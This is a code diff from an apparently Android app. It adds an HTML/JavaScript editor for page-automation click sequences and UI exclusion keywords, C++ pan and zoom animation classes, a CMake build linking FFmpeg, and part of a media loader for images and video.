+        <button class="btn btn-export" onclick="exportJson()">💾 프로젝트 JSON 저장</button>
+    </div>
+
+    <div class="card" style="margin-top: 20px;">
+        <h2>결과 코드 (앱 삽입용)</h2>
+        <pre><code id="outputCode">// 여기에 자바스크립트 코드가 생성됩니다.</code></pre>
+        <button class="btn" onclick="copyCode()">코드 복사하기</button>
+    </div>
+</div>
+
+<script>
+    let sequenceCounter = 0;
+    let stepCounter = 0;
+    let blacklistCounter = 0;
+
+    // --- 초기 샘플 데이터 ---
+    const sampleData = {
+        sequences: {
+            "multicon.co.kr/couponMall/order/info": [
+                { type: "target", value: "document.querySelector('.point_inquiry').click()", wait: "5000" },
+                { type: "action", value: 'if(document.querySelector(".result_point").innerText.split("P")[0] > 0) {\n    location.href = "${NH_DOMAIN + APP_LOG}";\n}', wait: "15000" }
+            ]
+        },
+        blacklist: {
+            "any": ["logout", "delete", "remove", "exit", "header__prev main_header"],
+            "runcomm.co.kr": [".adpot_inquiry", ",btn_com1", "닫기"]
+        }
+    };
+
+    // --- DOM 생성 로직 ---
+    function addSequenceUrl(url = '') {
+        const id = sequenceCounter++;
+        const container = document.getElementById('sequences-container');
+        const html = `
+            <div class="url-block" id="seq-${id}">
+                <button class="remove-btn" onclick="document.getElementById('seq-${id}').remove()">삭제</button>
+                <label><strong>URL 키워드:</strong></label>
+                <input type="text" class="seq-url" placeholder="예: example.com/login" value="${url}">
+                <div id="steps-container-${id}" style="margin-top: 15px;"></div>
+                <button class="btn btn-add" style="background:#57606f;" onclick="addStep(${id})">+ 스텝(Step) 추가</button>
+            </div>
+        `;
+        container.insertAdjacentHTML('beforeend', html);
+        return id;
+    }
+
+    function addStep(urlId, stepData = { type: 'string', value: '', wait: '' }) {
+        const sId = stepCounter++;
+        const container = document.getElementById(`steps-container-${urlId}`);
+        const html = `
+            <div class="step-block" id="step-${sId}">
+                <select class="step-type" onchange="changeStepType(${sId})">
+                    <option value="string" ${stepData.type === 'string' ? 'selected' : ''}>기본 클릭 (문자열)</option>
+                    <option value="target" ${stepData.type === 'target' ? 'selected' : ''}>동적 타겟 (Target)</option>
+                    <option value="action" ${stepData.type === 'action' ? 'selected' : ''}>순수 함수 (Action)</option>
+                </select>
+                <div id="step-input-area-${sId}" style="flex-grow: 1; display: flex; gap: 10px;"></div>
+                <button class="remove-btn" style="position:static;" onclick="document.getElementById('step-${sId}').remove()">X</button>
+            </div>
+        `;
+        container.insertAdjacentHTML('beforeend', html);
+
+        changeStepType(sId, stepData.value, stepData.wait);
+    }
+
+    function changeStepType(sId, defaultValue = '', defaultWait = '') {
+        const type = document.querySelector(`#step-${sId} .step-type`).value;
+        const area = document.getElementById(`step-input-area-${sId}`);
+
+        // 기존 값이 있다면 보존, 없다면 인자값 사용
+        const existingInput = area.querySelector('.seq-val');
+        const existingWait = area.querySelector('.wait-input');
+        const val = existingInput ? existingInput.value : defaultValue;
+        const wait = existingWait ? existingWait.value : defaultWait;
+
+        if (type === 'string') {
+            area.innerHTML = `<input type="text" class="code-input seq-val" placeholder='CSS 선택자 (예: .btn-login)' value="${val}">`;
+        } else if (type === 'target') {
+            area.innerHTML = `
+                <div style="flex-grow:1;">
+                    <span style="font-family:monospace; font-size:12px;">() => </span>
+                    <input type="text" class="code-input seq-val" style="width: calc(100% - 40px);" placeholder="document.querySelector('.btn')" value="${val}">
+                </div>
+                <input type="number" class="wait-input" placeholder="Wait(ms)" value="${wait}">
+            `;
+        } else if (type === 'action') {
+            area.innerHTML = `
+                <textarea class="code-input seq-val" placeholder="if(condition) { location.href='...'; }">${val}</textarea>
+                <input type="number" class="wait-input" placeholder="Wait(ms)" value="${wait}">
+            `;
+        }
+    }
+
+    function addBlacklistUrl(url = '', tagsArray = []) {
+        const id = blacklistCounter++;
+        const container = document.getElementById('blacklist-container');
+        const tags = tagsArray.join(', ');
+        const html = `
+            <div class="url-block" id="bl-${id}">
+                <button class="remove-btn" onclick="document.getElementById('bl-${id}').remove()">삭제</button>
+                <label><strong>URL 키워드:</strong></label>
+                <input type="text" class="bl-url" placeholder="예: any 또는 특정 URL" value="${url}">
+                <div style="margin-top: 10px;">
+                    <label><strong>제외 키워드:</strong> (콤마 ',' 로 구분)</label><br>
+                    <input type="text" class="bl-tags" style="width: 100%; margin-top:5px;" placeholder="logout, delete" value="${tags}">
+                </div>
+            </div>
+        `;
+        container.insertAdjacentHTML('beforeend', html);
+    }
+
+    // --- JSON Load & Export 로직 ---
+    function loadFromJson(data) {
+        document.getElementById('sequences-container').innerHTML = '';
+        document.getElementById('blacklist-container').innerHTML = '';
+
+        if (data.sequences) {
+            for (const [url, steps] of Object.entries(data.sequences)) {
+                const urlId = addSequenceUrl(url);
+                steps.forEach(step => addStep(urlId, step));
+            }
+        }
+        if (data.blacklist) {
+            for (const [url, tags] of Object.entries(data.blacklist)) {
+                addBlacklistUrl(url, tags);
+            }
+        }
+        generateCode();
+    }
+
+    function extractCurrentData() {
+        const data = { sequences: {}, blacklist: {} };
+
+        document.querySelectorAll('[id^="seq-"]').forEach(urlBlock => {
+            const url = urlBlock.querySelector('.seq-url').value.trim();
+            if (!url) return;
+            data.sequences[url] = [];
+
+            urlBlock.querySelectorAll('.step-block').forEach(stepBlock => {
+                const type = stepBlock.querySelector('.step-type').value;
+                const val = stepBlock.querySelector('.seq-val').value.trim();
+                const waitInput = stepBlock.querySelector('.wait-input');
+                const wait = waitInput && waitInput.value ? waitInput.value : "";
+
+                if (val) data.sequences[url].push({ type, value: val, wait });
+            });
+        });
+
+        document.querySelectorAll('[id^="bl-"]').forEach(blBlock => {
+            const url = blBlock.querySelector('.bl-url').value.trim();
+            const tags = blBlock.querySelector('.bl-tags').value.split(',').map(t => t.trim()).filter(t => t);
+            if (url && tags.length > 0) data.blacklist[url] = tags;
+        });
+
+        return data;
+    }
+
+    function exportJson() {
+        const data = extractCurrentData();
+        const dataStr = "data:text/json;charset=utf-8," + encodeURIComponent(JSON.stringify(data, null, 2));
+        const downloadAnchorNode = document.createElement('a');
+        downloadAnchorNode.setAttribute("href", dataStr);
+        downloadAnchorNode.setAttribute("download", "config_project.json");
+        document.body.appendChild(downloadAnchorNode);
+        downloadAnchorNode.click();
+        downloadAnchorNode.remove();
+    }
+
+    // --- 자바스크립트 코드(앱용) 생성 로직 ---
+    function generateCode() {
+        const data = extractCurrentData();
+        let code = "const config = {\n    sequences: {\n";
+
+        for (const [url, steps] of Object.entries(data.sequences)) {
+            code += `        "${url}": [\n`;
+            steps.forEach(step => {
+                const waitStr = step.wait ? `, wait: ${step.wait}` : '';
+                if (step.type === 'string') {
+                    code += `            "${step.value}",\n`;
+                } else if (step.type === 'target') {
+                    code += `            { target: () => ${step.value}${waitStr} },\n`;
+                } else if (step.type === 'action') {
+                    const formattedVal = step.value.includes('\n') ? `\n                ${step.value.replace(/\n/g, '\n                ')}\n            ` : step.value;
+                    code += `            { action: () => { ${formattedVal} }${waitStr} },\n`;
+                }
+            });
+            code += `        ],\n`;
+        }
+
+        code += "    },\n    blacklist: {\n";
+        for (const [url, tags] of Object.entries(data.blacklist)) {
+            const tagsStr = tags.map(t => `"${t}"`).join(', ');
+            code += `        "${url}": [${tagsStr}],\n`;
+        }
+        code += "    }\n};";
+
+        document.getElementById('outputCode').textContent = code;
+    }
+
+    function copyCode() {
+        const text = document.getElementById('outputCode').textContent;
+        navigator.clipboard.writeText(text).then(() => alert('코드가 복사되었습니다!'));
+    }
+
+    // --- Drag & Drop 파일 업로드 로직 ---
+    const dropZone = document.getElementById('dropZone');
+    const fileInput = document.getElementById('fileInput');
+
+    dropZone.addEventListener('click', () => fileInput.click());
+    dropZone.addEventListener('dragover', (e) => { e.preventDefault(); dropZone.classList.add('dragover'); });
+    dropZone.addEventListener('dragleave', () => dropZone.classList.remove('dragover'));
+    dropZone.addEventListener('drop', (e) => {
+        e.preventDefault();
+        dropZone.classList.remove('dragover');
+        if (e.dataTransfer.files.length) handleFile(e.dataTransfer.files[0]);
+    });
+    fileInput.addEventListener('change', (e) => {
+        if (e.target.files.length) handleFile(e.target.files[0]);
+    });
+
+    function handleFile(file) {
+        if (!file.name.endsWith('.json')) {
+            alert('JSON 파일만 업로드 가능합니다.');
+            return;
+        }
+        const reader = new FileReader();
+        reader.onload = (e) => {
+            try {
+                const json = JSON.parse(e.target.result);
+                loadFromJson(json);
+                alert('데이터를 성공적으로 불러왔습니다.');
+            } catch (err) {
+                alert('JSON 파싱에 실패했습니다: ' + err.message);
+            }
+        };
+        reader.readAsText(file);
+    }
+
+    // --- 초기 실행 ---
+    window.onload = () => {
+        loadFromJson(sampleData);
+    };
+</script>
+
+</body>
+</html>

app/src/main/cpp/AnimationStrategy.cpp

@@ -0,0 +1,297 @@
+#include "AnimationStrategy.h"
+#include "Renderer.h"
+#include <algorithm>
+#include <vector>
+#include <numeric>
+#include <random>
+
+// ====================================================================
+// --- PAN (왕복 이동) 애니메이션 ---
+// ====================================================================
+class PanAnimation : public AnimationStrategy {
+public:
+    PanAnimation(float speed) : AnimationStrategy(speed) { reset(); }
+
+    void reset() override {
+        state_.offsetX = 0.0f; state_.offsetY = 0.0f;
+        state_.scale = 1.0f; cycleComplete_ = false;
+        xDirection_ = -1; // 시작 방향을 -1 (좌로 이동)으로 변경
+        yDirection_ = -1; // 시작 방향을 -1 (위로 이동)으로 변경
+    }
+    AnimationState getStartState(Renderer* renderer, MediaAsset& media, int surfaceWidth, int surfaceHeight) override {
+        AnimationState startState;
+        startState.offsetX = 0.0f;
+        startState.offsetY = 0.0f;
+        startState.scale = getBaseScale(media, surfaceWidth, surfaceHeight);
+        return startState;
+    }
+
+    AnimationState getState() const override { return state_; }
+
+    bool execute(Renderer* renderer, ANativeWindow_Buffer& buffer, MediaAsset& media, int surfaceWidth, int surfaceHeight) override {
+        bool cycleComplete = false;
+
+        float overflowX = 0.0f, overflowY = 0.0f;
+        float scale = getBaseScale(media, surfaceWidth, surfaceHeight);
+        state_.scale = scale; // 마지막 상태 저장을 위해 현재 스케일값 기록
+        float mediaW = static_cast<float>(media.getWidth());
+        float mediaH = static_cast<float>(media.getHeight());
+        if ((mediaW / mediaH) > ((float)surfaceWidth / surfaceHeight)) {
+            overflowX = std::max(0.0f, mediaW * scale - surfaceWidth);
+        } else {
+            overflowY = std::max(0.0f, mediaH * scale - surfaceHeight);
+        }
+
+        if (!cycleComplete_) {
+            bool xDone = (overflowX <= 0);
+            bool yDone = (overflowY <= 0);
+            if (overflowX > 0) {
+                // offsetX를 음수 방향으로 움직임 (0 -> -overflowX)
+                state_.offsetX += animationSpeed_ * xDirection_;
+                if (xDirection_ == -1 && state_.offsetX <= -overflowX) { state_.offsetX = -overflowX; xDirection_ = 1; }
+                else if (xDirection_ == 1 && state_.offsetX >= 0) { state_.offsetX = 0; xDirection_ = -1; xDone = true; }
+            }
+            if (overflowY > 0) {
+                // offsetY를 음수 방향으로 움직임 (0 -> -overflowY)
+                state_.offsetY += animationSpeed_ * yDirection_;
+                if (yDirection_ == -1 && state_.offsetY <= -overflowY) { state_.offsetY = -overflowY; yDirection_ = 1; }
+                else if (yDirection_ == 1 && state_.offsetY >= 0) { state_.offsetY = 0; yDirection_ = -1; yDone = true; }
+            }
+            if (xDone && yDone) cycleComplete_ = true;
+        }
+
+        renderer->drawMedia(buffer, media, 1.0f, state_.offsetX, state_.offsetY, state_.scale);
+        return cycleComplete_;
+    }
+
+private:
+    AnimationState state_;
+    int xDirection_, yDirection_;
+    bool cycleComplete_;
+
+    float getBaseScale(MediaAsset& media, int surfaceWidth, int surfaceHeight) {
+        if (media.getHeight() == 0 || surfaceHeight == 0) return 1.0f;
+        float scale;
+        if ((static_cast<float>(media.getWidth()) / media.getHeight()) > ((float)surfaceWidth / surfaceHeight)) {
+            scale = (float)surfaceHeight / media.getHeight();
+        } else {
+            scale = (float)surfaceWidth / media.getWidth();
+        }
+        return scale;
+    }
+};
+
+
+// ====================================================================
+// --- PAN_ONE_WAY (편도 이동) 애니메이션 ---
+// ====================================================================
+class PanOneWayAnimation : public AnimationStrategy {
+public:
+    PanOneWayAnimation(float speed) : AnimationStrategy(speed) { reset(); }
+    void reset() override { state_ = AnimationState(); cycleComplete_ = false; }
+    AnimationState getState() const override { return state_; }
+
+    AnimationState getStartState(Renderer* renderer, MediaAsset& media, int surfaceWidth, int surfaceHeight) override {
+        AnimationState startState;
+        startState.offsetX = 0.0f;
+        startState.offsetY = 0.0f;
+        startState.scale = getBaseScale(media, surfaceWidth, surfaceHeight);
+        return startState;
+    }
+
+    bool execute(Renderer* renderer, ANativeWindow_Buffer& buffer, MediaAsset& media, int surfaceWidth, int surfaceHeight) override {
+        float overflowX = 0.0f, overflowY = 0.0f;
+        float scale = getBaseScale(media, surfaceWidth, surfaceHeight);
+        state_.scale = scale;
+        float mediaW = static_cast<float>(media.getWidth());
+        float mediaH = static_cast<float>(media.getHeight());
+        if ((mediaW / mediaH) > ((float)surfaceWidth / surfaceHeight)) {
+            overflowX = std::max(0.0f, mediaW * scale - surfaceWidth);
+        } else {
+            overflowY = std::max(0.0f, mediaH * scale - surfaceHeight);
+        }
+        if (!cycleComplete_) {
+            bool xReachedEnd = (overflowX <= 0);
+            bool yReachedEnd = (overflowY <= 0);
+            if (overflowX > 0) {
+                // offsetX를 음수 방향으로만 이동
+                state_.offsetX -= animationSpeed_;
+                if (state_.offsetX <= -overflowX) { state_.offsetX = -overflowX; xReachedEnd = true; }
+            }
+            if (overflowY > 0) {
+                // offsetY를 음수 방향으로만 이동
+                state_.offsetY -= animationSpeed_;
+                if (state_.offsetY <= -overflowY) { state_.offsetY = -overflowY; yReachedEnd = true; }
+            }
+            if (xReachedEnd && yReachedEnd) cycleComplete_ = true;
+        }
+
+        renderer->drawMedia(buffer, media, 1.0f, state_.offsetX, state_.offsetY, state_.scale);
+        return cycleComplete_;
+    }
+private:
+    AnimationState state_;
+    bool cycleComplete_;
+    float getBaseScale(MediaAsset& media, int surfaceWidth, int surfaceHeight) { /* PanAnimation과 동일 */
+        if (media.getHeight() == 0 || surfaceHeight == 0) return 1.0f;
+        float scale;
+        if ((static_cast<float>(media.getWidth()) / media.getHeight()) > ((float)surfaceWidth / surfaceHeight)) {
+            scale = (float)surfaceHeight / media.getHeight();
+        } else {
+            scale = (float)surfaceWidth / media.getWidth();
+        }
+        return scale;
+    }
+};
+
+
+// ====================================================================
+// --- ZOOM 애니메이션 (수정) ---
+// ====================================================================
+class ZoomAnimation : public AnimationStrategy {
+public:
+    ZoomAnimation(float speed) : AnimationStrategy(speed) { reset(); }
+
+    void reset() override {
+        state_ = AnimationState();
+        zoomMultiplier_ = 1.0f; // 줌 배율은 1.0에서 시작
+        cycleComplete_ = false;
+        zoomDirection_ = 1;
+    }
+    const float zoom_max = 1.35f;
+    AnimationState getState() const override { return state_; }
+
+    AnimationState getStartState(Renderer* renderer, MediaAsset& media, int surfaceWidth, int surfaceHeight) override {
+        AnimationState startState;
+        float baseScale, baseOffsetX, baseOffsetY;
+        renderer->calculateFitScaleAndOffset(media, surfaceWidth, surfaceHeight, baseScale, baseOffsetX, baseOffsetY);
+        startState.offsetX = baseOffsetX;
+        startState.offsetY = baseOffsetY;
+        startState.scale = baseScale * 1.0f; // Zoom의 시작 배율은 1.0
+        return startState;
+    }
+
+    bool execute(Renderer* renderer, ANativeWindow_Buffer& buffer, MediaAsset& media, int surfaceWidth, int surfaceHeight) override {
+        if (!cycleComplete_) {
+            // 줌 배율만 업데이트 (1.0 ~ 1.2)
+            zoomMultiplier_ += 0.0004f * animationSpeed_ * zoomDirection_;
+            if (zoomDirection_ == 1 && zoomMultiplier_ >= zoom_max) {
+                zoomDirection_ = -1;
+            } else if (zoomMultiplier_ <= 1.0 && zoomDirection_ == -1){
+                cycleComplete_ = true; // 최대 확대 시 사이클 완료
+            }
+        }
+
+        // 1. 화면에 꽉 차는 기본 스케일을 계산
+        float baseScale, baseOffsetX, baseOffsetY;
+        renderer->calculateFitScaleAndOffset(media, surfaceWidth, surfaceHeight, baseScale, baseOffsetX, baseOffsetY);
+
+        // 2. 최종 스케일은 기본 스케일 * 애니메이션 줌 배율
+        float finalScale = baseScale * zoomMultiplier_;
+
+        // 3. ***변경된 최종 스케일을 바탕으로*** 중앙 정렬 오프셋을 새로 계산
+        float finalOffsetX = (static_cast<float>(surfaceWidth) - (media.getWidth() * finalScale)) / 2.0f;
+        float finalOffsetY = (static_cast<float>(surfaceHeight) - (media.getHeight() * finalScale)) / 2.0f;
+
+        // 4. getState()가 올바른 마지막 상태를 보고할 수 있도록 state_에 최종 상태 저장
+        state_.offsetX = finalOffsetX;
+        state_.offsetY = finalOffsetY;
+        state_.scale = finalScale;
+
+        // 5. 최종 계산된 값으로 그리기
+        renderer->drawMedia(buffer, media, 1.0f, state_.offsetX, state_.offsetY, state_.scale);
+
+        return cycleComplete_;
+    }
+
+private:
+    AnimationState state_;
+    float zoomMultiplier_; // 애니메이션 배율만 따로 관리
+    int zoomDirection_;
+    bool cycleComplete_;
+};
+
+
+// ====================================================================
+// --- PAGE_TURN (대기) 애니메이션 ---
+// ====================================================================
+class PageTurnAnimation : public AnimationStrategy {
+public:
+    PageTurnAnimation(float speed, long long delay) : AnimationStrategy(speed), delayMs_(delay) { reset(); }
+
+    void reset() override {
+        state_ = AnimationState();
+        cycleComplete_ = false;
+        startTime_ = std::chrono::steady_clock::now();
+    }
+
+    AnimationState getStartState(Renderer* renderer, MediaAsset& media, int surfaceWidth, int surfaceHeight) override {
+        AnimationState startState;
+        float baseScale, baseOffsetX, baseOffsetY;
+        renderer->calculateFitScaleAndOffset(media, surfaceWidth, surfaceHeight, baseScale, baseOffsetX, baseOffsetY);
+        startState.offsetX = baseOffsetX;
+        startState.offsetY = baseOffsetY;
+        startState.scale = baseScale * 1.0f; // Zoom의 시작 배율은 1.0
+        return startState;
+    }
+
+    AnimationState getState() const override { return state_; }
+
+    bool execute(Renderer* renderer, ANativeWindow_Buffer& buffer, MediaAsset& media, int surfaceWidth, int surfaceHeight) override {
+        if (!cycleComplete_) {
+            long long elapsed = std::chrono::duration_cast<std::chrono::milliseconds>(std::chrono::steady_clock::now() - startTime_).count();
+            if (elapsed >= delayMs_) {
+                cycleComplete_ = true;
+            }
+        }
+
+        float baseScale, baseOffsetX, baseOffsetY;
+        renderer->calculateFitScaleAndOffset(media, surfaceWidth, surfaceHeight, baseScale, baseOffsetX, baseOffsetY);
+        state_.offsetX = baseOffsetX;
+        state_.offsetY = baseOffsetY;
+        state_.scale = baseScale;
+        renderer->drawMedia(buffer, media, 1.0f, state_.offsetX, state_.offsetY, state_.scale);
+
+        return cycleComplete_;
+    }
+private:
+    AnimationState state_;
+    long long delayMs_;
+    std::chrono::steady_clock::time_point startTime_;
+    bool cycleComplete_;
+};
+
+
+// ====================================================================
+// --- NONE (애니메이션 없음) ---
+// ====================================================================
+class NoneAnimation : public AnimationStrategy {
+public:
+    NoneAnimation(float speed) : AnimationStrategy(speed) { reset(); }
+    void reset() override { state_ = AnimationState();
+        callCount_ = 0;}
+    AnimationState getState() const override { return state_; }
+
+    AnimationState getStartState(Renderer* renderer, MediaAsset& media, int surfaceWidth, int surfaceHeight) override {
+        AnimationState startState;
+        float baseScale, baseOffsetX, baseOffsetY;
+        renderer->calculateFitScaleAndOffset(media, surfaceWidth, surfaceHeight, baseScale, baseOffsetX, baseOffsetY);
+        startState.offsetX = baseOffsetX;
+        startState.offsetY = baseOffsetY;
+        startState.scale = baseScale * 1.0f; // Zoom의 시작 배율은 1.0
+        return startState;
+    }
+
+    bool execute(Renderer* renderer, ANativeWindow_Buffer& buffer, MediaAsset& media, int surfaceWidth, int surfaceHeight) override {
+        float baseScale, baseOffsetX, baseOffsetY;
+        renderer->calculateFitScaleAndOffset(media, surfaceWidth, surfaceHeight, baseScale, baseOffsetX, baseOffsetY);
+        state_.offsetX = baseOffsetX;
+        state_.offsetY = baseOffsetY;
+        state_.scale = baseScale;
+        renderer->drawMedia(buffer, media, 1.0f, state_.offsetX, state_.offsetY, state_.scale);
+        return callCount_++ > 120;
+    }
+private:
+    int callCount_;
+    AnimationState state_;
+};

app/src/main/cpp/AnimationStrategy.h

@@ -0,0 +1,48 @@
+#pragma once
+#include <android/native_window.h>
+#include "MediaAsset.h"
+
+// 전방 선언: 순환 참조를 방지하기 위해 클래스의 이름만 먼저 알려줍니다.
+class Renderer;
+
+/**
+ * @brief 애니메이션의 현재 상태(결과값)를 담는 구조체입니다.
+ * Renderer는 이 값을 받아 최종 그리기에 사용합니다.
+ */
+struct AnimationState {
+    float offsetX = 0.0f;
+    float offsetY = 0.0f;
+    float scale = 1.0f;
+};
+
+/**
+ * @brief 모든 애니메이션 전문가(Strategy) 클래스의 기반이 되는 인터페이스(추상 클래스)입니다.
+ */
+class AnimationStrategy {
+public:
+    virtual ~AnimationStrategy() = default;
+
+    /**
+     * @brief 매 프레임마다 호출되어 애니메이션을 직접 그리고, 상태를 반환합니다.
+     * @return 애니메이션 한 사이클이 완료되었으면 true를 반환합니다.
+     */
+    virtual bool execute(Renderer* renderer, ANativeWindow_Buffer& buffer, MediaAsset& media, int surfaceWidth, int surfaceHeight) = 0;
+
+    /**
+     * @brief 애니메이션 내부 상태를 초기화합니다.
+     */
+    virtual void reset() = 0;
+
+    /**
+     * @brief 현재 애니메이션 상태를 반환합니다.
+     */
+    virtual AnimationState getState() const = 0;
+
+    // --- ⬇️ 자신의 시작 상태를 알려주는 함수 추가 ⬇️ ---
+    virtual AnimationState getStartState(Renderer* renderer, MediaAsset& media, int surfaceWidth, int surfaceHeight) = 0;
+
+protected:
+    // 생성자에서 애니메이션 속도를 받아 저장합니다.
+    AnimationStrategy(float speed) : animationSpeed_(speed) {}
+    float animationSpeed_;
+};

app/src/main/cpp/CMakeLists.txt

@@ -0,0 +1,67 @@
+# CMake 최소 버전 및 프로젝트 이름 설정
+cmake_minimum_required(VERSION 3.18.1)
+project("native_renderer")
+
+# --- 1. 경로 변수 설정 ---
+# NOTE: 표준 안드로이드 프로젝트 구조에 맞춰 'main' 폴더를 경로에 포함합니다.
+set(JNI_LIBS_DIR ${CMAKE_SOURCE_DIR}/../../main/jniLibs/${ANDROID_ABI})
+
+
+# --- 2. 헤더 파일 경로 추가 ---
+include_directories(${JNI_LIBS_DIR}/include)
+include_directories(${CMAKE_SOURCE_DIR}/include)
+
+# --- 3. 미리 빌드된 FFmpeg .so 라이브러리들을 IMPORTED 타겟으로 선언 ---
+# NOTE: 스크린샷의 파일 구조에 맞게 IMPORTED_LOCATION 경로에서 '/lib'를 제거했습니다.
+add_library(avformat SHARED IMPORTED)
+set_target_properties(avformat PROPERTIES IMPORTED_LOCATION ${JNI_LIBS_DIR}/libavformat.so)
+
+add_library(avcodec SHARED IMPORTED)
+set_target_properties(avcodec PROPERTIES IMPORTED_LOCATION ${JNI_LIBS_DIR}/libavcodec.so)
+
+add_library(avutil SHARED IMPORTED)
+set_target_properties(avutil PROPERTIES IMPORTED_LOCATION ${JNI_LIBS_DIR}/libavutil.so)
+
+add_library(swscale SHARED IMPORTED)
+set_target_properties(swscale PROPERTIES IMPORTED_LOCATION ${JNI_LIBS_DIR}/libswscale.so)
+
+add_library(swresample SHARED IMPORTED)
+set_target_properties(swresample PROPERTIES IMPORTED_LOCATION ${JNI_LIBS_DIR}/libswresample.so)
+
+# 참고: 스크린샷에 보이는 다른 라이브러리들도 필요하다면 여기에 추가할 수 있습니다.
+#add_library(avdevice SHARED IMPORTED)
+#set_target_properties(avdevice PROPERTIES IMPORTED_LOCATION ${JNI_LIBS_DIR}/libavdevice.so)
+
+
+# --- 4. 네이티브 렌더러 라이브러리 빌드 설정 ---
+add_library(native_renderer SHARED
+        native_renderer.cpp
+        Renderer.cpp
+        Preloader.cpp
+        MediaAsset.cpp
+        native_player.cpp
+        PlayerEngine.cpp
+        sonic.c
+)
+
+
+# --- 5. 최종 라이브러리 링크 ---
+find_library(log-lib log)
+find_library(android-lib android)
+find_library(nativewindow-lib nativewindow)
+
+target_link_libraries(native_renderer
+        # FFmpeg 라이브러리 타겟들
+        avformat
+        avcodec
+        avutil
+        swscale
+        swresample
+        jnigraphics
+        swresample # 💡 추가!
+        aaudio     # 💡 추가! 안드로이드 네이티브 오디오
+        # 안드로이드 기본 라이브러리들
+        ${log-lib}
+        ${android-lib}
+        ${nativewindow-lib}
+)

app/src/main/cpp/MediaAsset.cpp

@@ -0,0 +1,324 @@
+#include "MediaAsset.h"
+#include <android/log.h>
+#include <vector>
+#include <algorithm>
+#include <unistd.h> // for close()
+
+// stb_image.h의 구현부를 여기에 단 한 번만 포함시킵니다.
+#define STB_IMAGE_IMPLEMENTATION
+#include "stb_image.h"
+
+#define LOG_TAG "MediaAsset"
+#define LOGI(...) __android_log_print(ANDROID_LOG_INFO, LOG_TAG, __VA_ARGS__)
+#define LOGE(...) __android_log_print(ANDROID_LOG_ERROR, LOG_TAG, __VA_ARGS__)
+
+// --- ⬇️ FFmpeg Custom I/O를 위한 헬퍼 함수들 ⬇️ ---
+
+// FFmpeg이 데이터를 요청할 때 호출될 읽기 함수
+static int read_packet(void *opaque, uint8_t *buf, int buf_size) {
+    FILE* file = (FILE*)opaque;
+    if (feof(file)) {
+        return AVERROR_EOF;
+    }
+    size_t bytes_read = fread(buf, 1, buf_size, file);
+    if (bytes_read < buf_size) {
+        if (ferror(file)) {
+            return AVERROR(EIO);
+        }
+    }
+    return bytes_read;
+}
+
+// FFmpeg이 위치 이동을 요청할 때 호출될 탐색 함수
+static int64_t seek_packet(void *opaque, int64_t offset, int whence) {
+    FILE* file = (FILE*)opaque;
+    // SEEK_SET, SEEK_CUR, SEEK_END, AVSEEK_SIZE
+    if (whence == AVSEEK_SIZE) {
+        long current_pos = ftell(file);
+        fseek(file, 0, SEEK_END);
+        long size = ftell(file);
+        fseek(file, current_pos, SEEK_SET);
+        return size;
+    }
+    if (fseek(file, offset, whence) != 0) {
+        return -1;
+    }
+    return ftell(file);
+}
+
+// --- 헬퍼 함수 끝 ---
+
+
+MediaAsset::MediaAsset(MediaAsset&& other) noexcept
+        : type_(other.type_), width_(other.width_), height_(other.height_),
+          imageData_(other.imageData_), rgbBuffer_(std::move(other.rgbBuffer_)),
+          fmtCtx_(other.fmtCtx_), codecCtx_(other.codecCtx_), frame_(other.frame_),
+          packet_(other.packet_), swsCtx_(other.swsCtx_), videoStreamIdx_(other.videoStreamIdx_) {
+    other.type_ = Type::UNKNOWN;
+    other.imageData_ = nullptr;
+    other.fmtCtx_ = nullptr;
+    other.codecCtx_ = nullptr;
+    other.frame_ = nullptr;
+    other.packet_ = nullptr;
+    other.swsCtx_ = nullptr;
+}
+
+MediaAsset& MediaAsset::operator=(MediaAsset&& other) noexcept {
+    if (this != &other) {
+        release();
+        type_ = other.type_;
+        width_ = other.width_;
+        height_ = other.height_;
+        imageData_ = other.imageData_;
+        rgbBuffer_ = std::move(other.rgbBuffer_);
+        fmtCtx_ = other.fmtCtx_;
+        codecCtx_ = other.codecCtx_;
+        frame_ = other.frame_;
+        packet_ = other.packet_;
+        swsCtx_ = other.swsCtx_;
+        videoStreamIdx_ = other.videoStreamIdx_;
+        other.type_ = Type::UNKNOWN;
+        other.imageData_ = nullptr;
+        other.fmtCtx_ = nullptr;
+        other.codecCtx_ = nullptr;
+        other.frame_ = nullptr;
+        other.packet_ = nullptr;
+        other.swsCtx_ = nullptr;
+    }
+    return *this;
+}
+
+MediaAsset::~MediaAsset() {
+    release();
+}
+
+// --- ⬇️ load(int fd) 함수 수정 ⬇️ ---
+bool MediaAsset::load(int fd) {
+    if (fd < 0) {
+        LOGE("Load failed: Invalid file descriptor.");
+        return false;
+    }
+    release();
+
+    // 먼저 비디오로 로딩 시도 (Custom I/O 방식)
+    if (loadVideoWithFFmpeg(fd)) {
+        return true;
+    }
+
+    // 비디오 실패 시, 이미지로 로딩 시도 (/proc 경로 방식)
+    LOGI("Video load failed for fd:%d, trying as image.", fd);
+    std::string image_path = "/proc/self/fd/" + std::to_string(fd);
+    if (loadImageWithStb(image_path)) {
+        // 이미지 로딩 성공 시에는 fd를 여기서 닫아줌
+        close(fd);
+        return true;
+    }
+
+    LOGE("Failed to load media from fd: %d", fd);
+    close(fd); // 모든 로딩 실패 시에도 fd를 닫아줌
+    return false;
+}
+
+// path 기반 load 함수는 그대로 유지
+bool MediaAsset::load(const std::string& path) {
+    release();
+    size_t dotPos = path.find_last_of('.');
+    if (dotPos == std::string::npos) {
+        LOGE("Load failed: Could not find file extension in path: %s", path.c_str());
+        return false;
+    }
+    std::string extension = path.substr(dotPos + 1);
+    std::transform(extension.begin(), extension.end(), extension.begin(), ::tolower);
+    const std::vector<std::string> videoExts = {"mp4", "mkv", "avi", "mov", "webm","gif"};
+    const std::vector<std::string> imageExts = {"jpg", "jpeg", "png", "bmp", "webp"};
+    if (std::find(imageExts.begin(), imageExts.end(), extension) != imageExts.end()) {
+        return loadImageWithStb(path);
+    } else if (std::find(videoExts.begin(), videoExts.end(), extension) != videoExts.end()) {
+        // path 기반 비디오 로딩은 이제 fd 기반 로딩을 호출하지 않음
+        return loadVideoWithFFmpeg(path.c_str());
+    }
+    LOGE("Load failed: Unsupported file format for path: %s", path.c_str());
+    return false;
+}
+
+
+bool MediaAsset::loadImageWithStb(const std::string& path) {
+    type_ = Type::IMAGE;
+    imageData_ = stbi_load(path.c_str(), &width_, &height_, nullptr, 4);
+    if (!imageData_) {
+        LOGE("Failed to load image with stb_image: %s", stbi_failure_reason());
+        return false;
+    }
+    LOGI("Successfully loaded image: %s (%dx%d)", path.c_str(), width_, height_);
+    return true;
+}
+
+
+// --- ⬇️ loadVideoWithFFmpeg 함수를 오버로딩하여 Custom I/O 로직 추가 ⬇️ ---
